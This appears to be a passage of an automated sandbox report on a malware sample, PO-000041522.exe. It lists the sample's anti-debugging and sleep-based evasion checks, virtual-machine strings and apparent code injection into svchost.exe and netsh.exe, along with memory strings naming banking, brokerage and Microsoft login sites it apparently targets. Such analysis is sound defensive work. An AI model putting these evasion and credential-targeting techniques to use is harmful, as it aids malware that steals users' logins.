            Source: C:\Windows\SysWOW64\netsh.exeAPI/Special instruction interceptor: Address: 7FFB2CECD1E4
            Source: C:\Windows\SysWOW64\netsh.exeAPI/Special instruction interceptor: Address: 7FFB2CED0154
            Source: C:\Windows\SysWOW64\netsh.exeAPI/Special instruction interceptor: Address: 7FFB2CECDA44
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0307096E rdtsc 2_2_0307096E
            Source: C:\Windows\SysWOW64\netsh.exeWindow / User API: threadDelayed 4225Jump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeWindow / User API: threadDelayed 5749Jump to behavior
            Source: C:\Users\user\Desktop\PO-000041522.exeEvasive API call chain: GetSystemTimeAsFileTime,DecisionNodesgraph_0-86273
            Source: C:\Users\user\Desktop\PO-000041522.exeEvasive API call chain: GetModuleFileName,DecisionNodes,Sleepgraph_0-85004
            Source: C:\Users\user\Desktop\PO-000041522.exeAPI coverage: 3.0 %
            Source: C:\Windows\SysWOW64\svchost.exeAPI coverage: 0.6 %
            Source: C:\Windows\SysWOW64\netsh.exeAPI coverage: 2.4 %
            Source: C:\Windows\SysWOW64\netsh.exe TID: 7580Thread sleep count: 4225 > 30Jump to behavior
            Source: C:\Windows\SysWOW64\netsh.exe TID: 7580Thread sleep time: -8450000s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exe TID: 7580Thread sleep count: 5749 > 30Jump to behavior
            Source: C:\Windows\SysWOW64\netsh.exe TID: 7580Thread sleep time: -11498000s >= -30000sJump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exe TID: 7648Thread sleep time: -45000s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeLast function: Thread delayed
            Source: C:\Windows\SysWOW64\netsh.exeLast function: Thread delayed
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,0_2_00452126
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,0_2_0045C999
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,0_2_00436ADE
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00434BEE
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0045DD7C FindFirstFileW,FindClose,0_2_0045DD7C
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0044BD29 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,0_2_0044BD29
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,0_2_00436D2D
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00442E1F
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_00475FE5
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0044BF8D _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_0044BF8D
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_00B1C380 FindFirstFileW,FindNextFileW,FindClose,11_2_00B1C380
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_0040E470
            Source: 709e7t17.11.drBinary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
            Source: 709e7t17.11.drBinary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
            Source: 709e7t17.11.drBinary or memory string: Canara Transaction PasswordVMware20,11696492231}
            Source: 709e7t17.11.drBinary or memory string: interactivebrokers.co.inVMware20,11696492231d
            Source: PO-000041522.exe, 00000000.00000002.1271019360.0000000000A0E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: War&Prod_VMware_SATA_CD00#
            Source: 709e7t17.11.drBinary or memory string: netportal.hdfcbank.comVMware20,11696492231
            Source: 709e7t17.11.drBinary or memory string: outlook.office.comVMware20,11696492231s
            Source: 709e7t17.11.drBinary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
            Source: 709e7t17.11.drBinary or memory string: AMC password management pageVMware20,11696492231
            Source: 709e7t17.11.drBinary or memory string: interactivebrokers.comVMware20,11696492231
            Source: 709e7t17.11.drBinary or memory string: microsoft.visualstudio.comVMware20,11696492231x
            Source: 709e7t17.11.drBinary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
            Source: 709e7t17.11.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
            Source: 709e7t17.11.drBinary or memory string: Test URL for global passwords blocklistVMware20,11696492231
            Source: 709e7t17.11.drBinary or memory string: outlook.office365.comVMware20,11696492231t
            Source: 709e7t17.11.drBinary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
            Source: 709e7t17.11.drBinary or memory string: discord.comVMware20,11696492231f
            Source: netsh.exe, 0000000B.00000002.3115322736.0000000000C63000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000000F.00000002.1694463411.000002B4B9C2C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
            Source: 709e7t17.11.drBinary or memory string: global block list test formVMware20,11696492231
            Source: 709e7t17.11.drBinary or memory string: dev.azure.comVMware20,11696492231j
            Source: 709e7t17.11.drBinary or memory string: www.interactivebrokers.comVMware20,11696492231}
            Source: 709e7t17.11.drBinary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
            Source: 709e7t17.11.drBinary or memory string: bankofamerica.comVMware20,11696492231x
            Source: 709e7t17.11.drBinary or memory string: trackpan.utiitsl.comVMware20,11696492231h
            Source: 709e7t17.11.drBinary or memory string: tasks.office.comVMware20,11696492231o
            Source: 709e7t17.11.drBinary or memory string: account.microsoft.com/profileVMware20,11696492231u
            Source: 709e7t17.11.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696492231
            Source: 709e7t17.11.drBinary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
            Source: 709e7t17.11.drBinary or memory string: ms.portal.azure.comVMware20,11696492231
            Source: PO-000041522.exe, 00000000.00000002.1271019360.0000000000A0E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: AGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
            Source: mRCAFaTTtF.exe, 0000000D.00000002.3123408713.0000000000EBF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll@
            Source: 709e7t17.11.drBinary or memory string: turbotax.intuit.comVMware20,11696492231t
            Source: 709e7t17.11.drBinary or memory string: secure.bankofamerica.comVMware20,11696492231|UE
            Source: 709e7t17.11.drBinary or memory string: Canara Transaction PasswordVMware20,11696492231x
            Source: 709e7t17.11.drBinary or memory string: Interactive Brokers - HKVMware20,11696492231]
            Source: C:\Users\user\Desktop\PO-000041522.exeAPI call chain: ExitProcess graph end nodegraph_0-84842
            Source: C:\Windows\SysWOW64\svchost.exeProcess information queried: ProcessInformationJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeProcess queried: DebugPortJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeProcess queried: DebugPortJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0307096E rdtsc 2_2_0307096E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_003B7593 LdrLoadDll,2_2_003B7593
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0045A259 BlockInput,0_2_0045A259
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0040D6D0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,0_2_0040D6D0
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0040EB70 LoadLibraryA,GetProcAddress,0_2_0040EB70
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_03F35540 mov eax, dword ptr fs:[00000030h]0_2_03F35540
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_03F354E0 mov eax, dword ptr fs:[00000030h]0_2_03F354E0
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_03F33EC0 mov eax, dword ptr fs:[00000030h]0_2_03F33EC0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306A30B mov eax, dword ptr fs:[00000030h]2_2_0306A30B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306A30B mov eax, dword ptr fs:[00000030h]2_2_0306A30B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306A30B mov eax, dword ptr fs:[00000030h]2_2_0306A30B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302C310 mov ecx, dword ptr fs:[00000030h]2_2_0302C310
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03050310 mov ecx, dword ptr fs:[00000030h]2_2_03050310
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03108324 mov eax, dword ptr fs:[00000030h]2_2_03108324
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03108324 mov ecx, dword ptr fs:[00000030h]2_2_03108324
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03108324 mov eax, dword ptr fs:[00000030h]2_2_03108324
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03108324 mov eax, dword ptr fs:[00000030h]2_2_03108324
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]2_2_030B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]2_2_030B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]2_2_030B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]2_2_030B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]2_2_030B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]2_2_030B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]2_2_030B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]2_2_030B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]2_2_030B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]2_2_030B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]2_2_030B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]2_2_030B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]2_2_030B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]2_2_030B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]2_2_030B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B035C mov eax, dword ptr fs:[00000030h]2_2_030B035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B035C mov eax, dword ptr fs:[00000030h]2_2_030B035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B035C mov eax, dword ptr fs:[00000030h]2_2_030B035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B035C mov ecx, dword ptr fs:[00000030h]2_2_030B035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B035C mov eax, dword ptr fs:[00000030h]2_2_030B035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B035C mov eax, dword ptr fs:[00000030h]2_2_030B035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030FA352 mov eax, dword ptr fs:[00000030h]2_2_030FA352
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D8350 mov ecx, dword ptr fs:[00000030h]2_2_030D8350
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0310634F mov eax, dword ptr fs:[00000030h]2_2_0310634F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D437C mov eax, dword ptr fs:[00000030h]2_2_030D437C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302E388 mov eax, dword ptr fs:[00000030h]2_2_0302E388
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302E388 mov eax, dword ptr fs:[00000030h]2_2_0302E388
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302E388 mov eax, dword ptr fs:[00000030h]2_2_0302E388
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305438F mov eax, dword ptr fs:[00000030h]2_2_0305438F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305438F mov eax, dword ptr fs:[00000030h]2_2_0305438F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03028397 mov eax, dword ptr fs:[00000030h]2_2_03028397
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03028397 mov eax, dword ptr fs:[00000030h]2_2_03028397
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03028397 mov eax, dword ptr fs:[00000030h]2_2_03028397
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030EC3CD mov eax, dword ptr fs:[00000030h]2_2_030EC3CD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303A3C0 mov eax, dword ptr fs:[00000030h]2_2_0303A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303A3C0 mov eax, dword ptr fs:[00000030h]2_2_0303A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303A3C0 mov eax, dword ptr fs:[00000030h]2_2_0303A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303A3C0 mov eax, dword ptr fs:[00000030h]2_2_0303A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303A3C0 mov eax, dword ptr fs:[00000030h]2_2_0303A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303A3C0 mov eax, dword ptr fs:[00000030h]2_2_0303A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030383C0 mov eax, dword ptr fs:[00000030h]2_2_030383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030383C0 mov eax, dword ptr fs:[00000030h]2_2_030383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030383C0 mov eax, dword ptr fs:[00000030h]2_2_030383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030383C0 mov eax, dword ptr fs:[00000030h]2_2_030383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B63C0 mov eax, dword ptr fs:[00000030h]2_2_030B63C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DE3DB mov eax, dword ptr fs:[00000030h]2_2_030DE3DB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DE3DB mov eax, dword ptr fs:[00000030h]2_2_030DE3DB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DE3DB mov ecx, dword ptr fs:[00000030h]2_2_030DE3DB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DE3DB mov eax, dword ptr fs:[00000030h]2_2_030DE3DB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D43D4 mov eax, dword ptr fs:[00000030h]2_2_030D43D4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D43D4 mov eax, dword ptr fs:[00000030h]2_2_030D43D4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]2_2_030403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]2_2_030403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]2_2_030403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]2_2_030403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]2_2_030403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]2_2_030403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]2_2_030403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]2_2_030403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304E3F0 mov eax, dword ptr fs:[00000030h]2_2_0304E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304E3F0 mov eax, dword ptr fs:[00000030h]2_2_0304E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304E3F0 mov eax, dword ptr fs:[00000030h]2_2_0304E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030663FF mov eax, dword ptr fs:[00000030h]2_2_030663FF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302823B mov eax, dword ptr fs:[00000030h]2_2_0302823B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B8243 mov eax, dword ptr fs:[00000030h]2_2_030B8243
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B8243 mov ecx, dword ptr fs:[00000030h]2_2_030B8243
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0310625D mov eax, dword ptr fs:[00000030h]2_2_0310625D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302A250 mov eax, dword ptr fs:[00000030h]2_2_0302A250
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03036259 mov eax, dword ptr fs:[00000030h]2_2_03036259
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030EA250 mov eax, dword ptr fs:[00000030h]2_2_030EA250
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030EA250 mov eax, dword ptr fs:[00000030h]2_2_030EA250
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03034260 mov eax, dword ptr fs:[00000030h]2_2_03034260
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03034260 mov eax, dword ptr fs:[00000030h]2_2_03034260
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03034260 mov eax, dword ptr fs:[00000030h]2_2_03034260
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302826B mov eax, dword ptr fs:[00000030h]2_2_0302826B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]2_2_030E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]2_2_030E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]2_2_030E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]2_2_030E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]2_2_030E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]2_2_030E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]2_2_030E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]2_2_030E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]2_2_030E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]2_2_030E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]2_2_030E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]2_2_030E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306E284 mov eax, dword ptr fs:[00000030h]2_2_0306E284
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306E284 mov eax, dword ptr fs:[00000030h]2_2_0306E284
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B0283 mov eax, dword ptr fs:[00000030h]2_2_030B0283
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B0283 mov eax, dword ptr fs:[00000030h]2_2_030B0283
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B0283 mov eax, dword ptr fs:[00000030h]2_2_030B0283
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030402A0 mov eax, dword ptr fs:[00000030h]2_2_030402A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030402A0 mov eax, dword ptr fs:[00000030h]2_2_030402A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C62A0 mov eax, dword ptr fs:[00000030h]2_2_030C62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C62A0 mov ecx, dword ptr fs:[00000030h]2_2_030C62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C62A0 mov eax, dword ptr fs:[00000030h]2_2_030C62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C62A0 mov eax, dword ptr fs:[00000030h]2_2_030C62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C62A0 mov eax, dword ptr fs:[00000030h]2_2_030C62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C62A0 mov eax, dword ptr fs:[00000030h]2_2_030C62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303A2C3 mov eax, dword ptr fs:[00000030h]2_2_0303A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303A2C3 mov eax, dword ptr fs:[00000030h]2_2_0303A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303A2C3 mov eax, dword ptr fs:[00000030h]2_2_0303A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303A2C3 mov eax, dword ptr fs:[00000030h]2_2_0303A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303A2C3 mov eax, dword ptr fs:[00000030h]2_2_0303A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031062D6 mov eax, dword ptr fs:[00000030h]2_2_031062D6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030402E1 mov eax, dword ptr fs:[00000030h]2_2_030402E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030402E1 mov eax, dword ptr fs:[00000030h]2_2_030402E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030402E1 mov eax, dword ptr fs:[00000030h]2_2_030402E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DE10E mov eax, dword ptr fs:[00000030h]2_2_030DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DE10E mov ecx, dword ptr fs:[00000030h]2_2_030DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DE10E mov eax, dword ptr fs:[00000030h]2_2_030DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DE10E mov eax, dword ptr fs:[00000030h]2_2_030DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DE10E mov ecx, dword ptr fs:[00000030h]2_2_030DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DE10E mov eax, dword ptr fs:[00000030h]2_2_030DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DE10E mov eax, dword ptr fs:[00000030h]2_2_030DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DE10E mov ecx, dword ptr fs:[00000030h]2_2_030DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DE10E mov eax, dword ptr fs:[00000030h]2_2_030DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DE10E mov ecx, dword ptr fs:[00000030h]2_2_030DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DA118 mov ecx, dword ptr fs:[00000030h]2_2_030DA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DA118 mov eax, dword ptr fs:[00000030h]2_2_030DA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DA118 mov eax, dword ptr fs:[00000030h]2_2_030DA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DA118 mov eax, dword ptr fs:[00000030h]2_2_030DA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F0115 mov eax, dword ptr fs:[00000030h]2_2_030F0115
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03060124 mov eax, dword ptr fs:[00000030h]2_2_03060124
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C4144 mov eax, dword ptr fs:[00000030h]2_2_030C4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C4144 mov eax, dword ptr fs:[00000030h]2_2_030C4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C4144 mov ecx, dword ptr fs:[00000030h]2_2_030C4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C4144 mov eax, dword ptr fs:[00000030h]2_2_030C4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C4144 mov eax, dword ptr fs:[00000030h]2_2_030C4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302C156 mov eax, dword ptr fs:[00000030h]2_2_0302C156
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C8158 mov eax, dword ptr fs:[00000030h]2_2_030C8158
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03036154 mov eax, dword ptr fs:[00000030h]2_2_03036154
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03036154 mov eax, dword ptr fs:[00000030h]2_2_03036154
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03104164 mov eax, dword ptr fs:[00000030h]2_2_03104164
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03104164 mov eax, dword ptr fs:[00000030h]2_2_03104164
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03070185 mov eax, dword ptr fs:[00000030h]2_2_03070185
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030EC188 mov eax, dword ptr fs:[00000030h]2_2_030EC188
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030EC188 mov eax, dword ptr fs:[00000030h]2_2_030EC188
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D4180 mov eax, dword ptr fs:[00000030h]2_2_030D4180
